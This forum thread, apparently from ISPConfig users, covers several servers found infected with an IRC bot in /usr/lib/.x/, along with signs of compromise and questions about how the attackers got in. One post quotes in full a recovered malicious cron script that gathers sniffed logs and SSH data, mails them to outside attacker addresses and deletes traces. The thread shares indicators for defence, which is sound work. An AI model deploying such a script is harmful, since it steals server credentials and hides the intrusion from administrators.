Hacked!!!
 

Posting this quickly so that others can check their systems for signs.
ls -ahl /usr/lib/.x/

If that shows you files on your server you have been hacked just like we seem to have been on serveral servers. (All ISPConfig3 servers.)

Powered by ISPConfig 3.0.1.6

Debian Lenny 5.0.3 (OpenVz) Proxmox 1.4
Linux server44 2.6.24-7-pve #1 SMP PREEMPT Tue Jun 2 08:00:29 CEST 2009 i686


Seems like some kind of IRC Bot.

All my Debian Lenny servers (with ISPconfig3) are okay.

(Uups spoke too soon!! Looks like Ubuntu 8.04 LTS / ISPConfig 2's are also vulnerable.)
Also found them in Debian 5.0.3 / ISPConfig 3's so far.

If your server has been used to hack other servers you can see something like this in 'name'.seen file.

server.name.com none 1267130228 2 Quit: I'll get you for this!!!
m1n2b3b3b m1n2b3b3b!~l3iliboi@161.253.129.67 none 1267471837 3 l3iliboi--
l3iliboi`- l3iliboi`-!~l3iliboi@l3iliboi.users.undernet.org none 1267392327 3 l3iliboi
l3iliboi l3iliboi!~l3iliboi@l3iliboi.users.undernet.org none 1267426060 2 Read error: Operation timed out

Also crontab -e will show your crontab emty execpt a command that will call /usr/lib/.x/update file.

The plot thickens.
This was recovered on one of our tests servers that has ISPconfig2 on Ubuntu 8.04 LTS.

They used /etc/cron.daily/dnsquery:

#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log >> test
echo "$(uptime)" >> test
rm -rf httpd.log
echo "named.sn"
cat /usr/lib/named/named.sn >> test
rm -rf /usr/lib/named/named.sn
cd /usr/lib/named
./clean
./cleanssh
echo "ssh.log" >> /usr/lib/test
cat ssh.log >> /usr/lib/test
cd /usr/lib/
mail thelinuxpinguin@yahoo.com -s "$(hostname -f)" < test
mail stormuletzz@yahoo.ca -s "$(hostname -f)" < test
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A

So.. Any fix for this?

Looks like an old hack from 2006
See: http://ubuntuforums.org/showthread.php?t=221922
Page 2 will show the exact same code as you posted.

That was only one of the hack's on the test server.

The ones that I'm worried about are the ones that were on ns3 and ns5.
Those were minimal Debian / ISPC3 servers.

They only contained LAMP stuff without any clients. Not even FTP.

SamTzu, this is always a bitch but can you give us some information like is this single server running all the services or is it multi server environment? Was your server patched? Are you using firewall? Do you allow your customers ssh access? How do you access server? Have you done any hardening of the server? Have the accessed server through website or some exploit?

Did you also have "Horde web mail" on it as test?

Nope.

As I said before...
What I'm really worried about is that 2 of the 7 hacked servers had almost no installed services and no other users.
(No Email or FTP service installed.)

That points the vulnerability (if there is one) to either Debian/Ubuntu LAMP or ISPConfig.

Either way it's not good.
We are still working on weather it was a weak password or a vulnerability.
What's worse is that it looks like a 'script kiddie' type of hack. They were not too clever in covering their tracks.
Missing cron jobs and history are pretty obvious clues.
If this is a vulnerability it means that this vulnerability is easily available.